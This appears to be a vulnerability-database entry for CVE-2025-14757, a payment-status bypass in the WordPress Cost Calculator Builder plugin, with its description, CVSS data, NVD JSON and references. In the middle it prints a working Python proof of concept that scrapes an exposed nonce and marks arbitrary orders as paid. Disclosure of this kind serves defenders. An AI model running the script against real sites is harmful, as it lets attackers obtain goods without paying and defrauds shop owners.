Security Vulnerability Report
中文
CVE-2025-14757 CVSS 5.3 MEDIUM

CVE-2025-14757

Published: 2026-01-16 09:16:00
Last Modified: 2026-01-23 17:12:40

Description

The Cost Calculator Builder plugin for WordPress is vulnerable to Unauthenticated Payment Status Bypass in all versions up to, and including, 3.6.9 only when used in combination with Cost Calculator Builder PRO. This is due to the complete_payment AJAX action being registered via wp_ajax_nopriv, making it accessible to unauthenticated users, and the complete() function only verifying a nonce without checking user capabilities or order ownership. Since nonces are exposed to all visitors via window.ccb_nonces in the page source, any unauthenticated attacker can mark any order's payment status as "completed" without actual payment.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:stylemixthemes:cost_calculator_builder:*:*:*:*:free:wordpress:*:* - VULNERABLE
Cost Calculator Builder (免费版) < 3.6.9
Cost Calculator Builder PRO < 3.6.9
Cost Calculator Builder 所有版本 (当与PRO版本组合使用时)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import re # CVE-2025-14757 PoC - Unauthenticated Payment Status Bypass # Target: WordPress Cost Calculator Builder plugin <= 3.6.9 TARGET_URL = "http://target-wordpress-site.com" ORDER_ID = "123" # Target order ID to mark as completed def get_nonce(): """Extract nonce from window.ccb_nonces object in page source""" try: response = requests.get(TARGET_URL, timeout=10) # Search for ccb_nonces in page source match = re.search(r'window\.ccb_nonces\s*=\s*({[^}]+})', response.text) if match: nonce_data = match.group(1) # Extract complete_payment nonce nonce_match = re.search(r'["\']complete_payment["\']:\s*["\']([^"\']+)["\']', nonce_data) if nonce_match: return nonce_match.group(1) return None except Exception as e: print(f"Error extracting nonce: {e}") return None def bypass_payment_status(nonce, order_id): """Send malicious request to mark order as completed""" endpoint = f"{TARGET_URL}/wp-admin/admin-ajax.php" data = { "action": "complete_payment", "nonce": nonce, "order_id": order_id } try: response = requests.post(endpoint, data=data, timeout=10) print(f"Response Status: {response.status_code}") print(f"Response Body: {response.text}") return response.json() if response.headers.get('content-type', '').startswith('application/json') else None except Exception as e: print(f"Error sending request: {e}") return None if __name__ == "__main__": print("[*] CVE-2025-14757 PoC - Cost Calculator Builder Payment Bypass") print("[*] Extracting nonce from target site...") nonce = get_nonce() if nonce: print(f"[+] Nonce obtained: {nonce}") print(f"[*] Sending payment bypass request for order {ORDER_ID}...") result = bypass_payment_status(nonce, ORDER_ID) if result: print(f"[+] Request result: {result}") else: print("[-] Failed to extract nonce")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14757", "sourceIdentifier": "[email protected]", "published": "2026-01-16T09:15:59.663", "lastModified": "2026-01-23T17:12:40.467", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Cost Calculator Builder plugin for WordPress is vulnerable to Unauthenticated Payment Status Bypass in all versions up to, and including, 3.6.9 only when used in combination with Cost Calculator Builder PRO. This is due to the complete_payment AJAX action being registered via wp_ajax_nopriv, making it accessible to unauthenticated users, and the complete() function only verifying a nonce without checking user capabilities or order ownership. Since nonces are exposed to all visitors via window.ccb_nonces in the page source, any unauthenticated attacker can mark any order's payment status as \"completed\" without actual payment."}, {"lang": "es", "value": "El plugin Cost Calculator Builder para WordPress es vulnerable a la Omisión de Estado de Pago No Autenticado en todas las versiones hasta la 3.6.9, inclusive, solo cuando se usa en combinación con Cost Calculator Builder PRO. Esto se debe a que la acción AJAX complete_payment se registra a través de wp_ajax_nopriv, haciéndola accesible a usuarios no autenticados, y la función complete() solo verifica un nonce sin comprobar las capacidades del usuario o la propiedad del pedido. Dado que los nonces están expuestos a todos los visitantes a través de window.ccb_nonces en el código fuente de la página, cualquier atacante no autenticado puede marcar el estado de pago de cualquier pedido como 'completado' sin un pago real."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:stylemixthemes:cost_calculator_builder:*:*:*:*:free:wordpress:*:*", "versionEndExcluding": "3.6.10", "matchCriteriaId": "D74E8A9D-312F-4757-85E1-2F4B29ABA32D"}]}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/cost-calculator-builder/tags/3.6.7/includes/classes/CCBAjaxAction.php#L98", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://plugins.trac.wordpress.org/browser/cost-calculator-builder/tags/3.6.7/includes/classes/CCBOrderController.php#L408", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://plugins.trac.wordpress.org/changeset/3437516/cost-calculator-builder/trunk/includes/classes/CCBOrderController.php?old=3426823&old_path=cost-calculator-builder%2Ftrunk%2Fincludes%2Fclasses%2FCCBOrderController.php", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b8415e5f-17a4-425c-ac28-5dd886d1bcf1?source=cve", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}